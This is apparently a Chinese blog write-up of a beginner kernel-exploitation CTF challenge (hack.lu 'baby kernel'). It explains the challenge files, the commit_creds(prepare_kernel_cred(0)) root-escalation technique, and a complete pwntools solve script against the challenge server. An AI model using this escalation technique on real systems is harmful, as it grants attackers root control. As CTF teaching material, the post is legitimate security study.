Kernel pwn-极简题目的操作模式

完全参照M4x师傅的指导,用 hacklu的baby kernel迈了第一步

题目附带文件说明

一般题目会给出bzImage,.cpio, .sh文件

  • sh文件适用于启动kernel的shell脚本文件,参数决定了内核的保护情况。

  • .cpio文件为文件系统映像。将其解压可以获得服务器交互程序的客户端

  • bzImage为kernel binary,可视为压缩后的文件

  • vmlinux文件(if exists), 未经压缩的kernel文件,为ELF格式。

    • 如果没有vmlinux文件,可以通过extract-vmlinux提取

    • ./extract-vmlinux ./bzImage > vmlinux

基本操作

  1. 获得服务器文件系统环境

    解压cpio文件,能够获得服务器内部文件分布,包括创建环境的init脚本和交互程序。

    在inti文件中,通过insmod命令加载驱动模块

    insmod /lib/modules/4.4.72/babydriver.ko

    一般情况下,被加载的LKM即为漏洞所在。

    .ko文件也是ELF文件格式,可以通过ida进行分析。

    可以通过分析交互elf文件,确定交互逻辑和调用内核模块的??

  2. 提权

    最常用的提权手段:

    commit_creds(prepare_kernel_cred(0))

    两个函数的地址可以在 /proc/kallsyms中查看。

    vmlinux是未压缩的kernel文件(ELF格式),可以通过vmlinux提取到gadget,当然也可以从vmlinux文件中获取上面两个函数的地址。

  3. loadling…

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
from pwn import *
#context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
# io = process('./client_kernel_baby')
io = remote('arcade.fluxfingers.net', 1817)
kernel = ELF('./vmlinux') # get the address of 2 functions from vmlinux
cred = kernel.sym['prepare_kernel_cred']
commit = kernel.sym['commit_creds'] # run prepare kernel cred(0) and get the return value
io.recvuntil('----- Menu -----')
io.sendlineafter('> ', '')
io.sendlineafter('>', str(cred))
io.sendlineafter('>', '')
io.recvuntil('It is: ')
ret_val = int(io.recvuntil('\n', drop = True),16) # run commit cred to get root private
io.sendlineafter('> ', '')
io.sendlineafter('>', str(commit))
io.sendlineafter('>', str(ret_val)) # read flag as root
io.sendlineafter('> ', '')
io.sendlineafter('>', 'flag') io.interactive()

作者:辣鸡小谱尼


出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

First Kernel-pwn的更多相关文章

  1. kernel pwn 入门环境搭建

    刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要 ...

  2. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  3. Kernel pwn 基础教程之 ret2usr 与 bypass_smep

    一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...

  4. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  5. Kernel Pwn基础教程之 Double Fetch

    一.前言 Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy ...

  6. Kernel pwn 基础教程之 Heap Overflow

    一.前言 在如今的CTF比赛大环境下,掌握glibc堆内存分配已经成为了大家的必修课程.然而在内核态中,堆内存的分配策略发生了变化.笔者会在介绍内核堆利用方式之前先简单的介绍一下自己了解的内核内存分配 ...

  7. kernel base

    基础知识 学习网址:ctfwiki 安全客 Kernel:又称核心 维基百科:在计算机科学中是一个用来管理软件发出的数据I/O(输入与输出)要求的电脑程序,将这些要求转译为数据处理的指令并交由中央处理 ...

  8. iOS冰与火之歌(番外篇) - 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权

    iOS冰与火之歌(番外篇) 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权 蒸米@阿里移动安全 0x00 序 这段时间最火的漏洞当属阿联酋的人权活动人士被apt攻击所使用 ...

  9. Use-After-Free

    0x00 UAF利用原理 uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有 ...

  10. Linux Kernel中获取当前目录方法(undone)

    目录 . 引言 . 基于进程内存镜像信息struct mm_struct获取struct path调用d_path()获取当前进程的"绝对路径" . 基于文件描述符(fd).tas ...

随机推荐

  1. (数据科学学习手札77)基于geopandas的空间数据分析——文件IO

    本文对应代码和数据已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 在上一篇文章中我们对geopandas中的 ...

  2. VMware ESXi 6.7安装过程介绍

    虚拟机配置信息如下: 一.安装ESXI 开启虚拟机,正常进入开机引导安装界面 默认选择第一个选项,8s后自动进入如下界面,依次为: 加载引导程序 接受协议 选择用来存放ESXI操作系统的磁盘,不能乱选 ...

  3. 解决 webpack-dev-server 不能使用 IP 访问

    webpack 是众所周知很好用的打包工具,在开发 vue 项目时,vue-cli 就集成了 webpack.我们启一个服务:npm run dev然后在浏览器可是使用 http://localhos ...

  4. java设计模式学习笔记——里氏替换原则

    oo中的继承性的思考和说明 1.继承包含这样一层含义:父类中凡是已经实现好的方法,实际上是在设定规范和契约,虽然它不强制要求所有的子类必须遵循这些七月,但是如果子类对这些已经实现的方法任意修改,就会对 ...

  5. pycharm中新建Vue项目时没有vue.js的解决办法

    可能很多小伙伴在使用pycharm 1,新建vue项目的时候并没有发现vue.js的名字, 2,新建.vue文件(即单文件组件)的时候没有 下面就来帮助大家一下,仅供参考 如图: 1.首先我们打开设置 ...

  6. 【DTOJ】1001:长方形周长和面积

    DTOJ 1001:长方形周长和面积  解题报告 2017.11.05 第一版  ——由翱翔的逗比w原创 题目信息: 题目描述 已知长方形的长和宽,求长方形的周长和面积? 输入 一行:空格隔开的两个整 ...

  7. window10 cmd 常见命令

    AT 计划在计算机上运行的命令和程序. ATTRIB 显示或更改文件属性. BREAK 设置或清除扩展式 CTRL+C 检查. CACLS 显示或修改文件的访问控制列表(ACLs). CALL 从另一 ...

  8. cf949C

    题意简述:有n个点,每一个点都有一个权值,然后有m个条件,每一个条件是a[x]!=a[y],让选择最少的点且至少选择1个,然后让这个点的权值+1,使得条件仍满足 所有数对k取模 题解:如果a[x]+1 ...

  9. mybatis_day01

    Mybatis01 1.什么是mybatis 1.1mybatis 一个基于Java的持久层框架 1.2持久层 操作数据库那层代码 项目分层: 界面层(jps/controller) 业务层(serv ...

  10. python类详细说明、常用内置方法和self的作用

    一.类的定义 在Python中,一切皆对象,即便是类本身,也是一种type类型的特殊对象. class Person: def __init__(self, name, age): self.name ...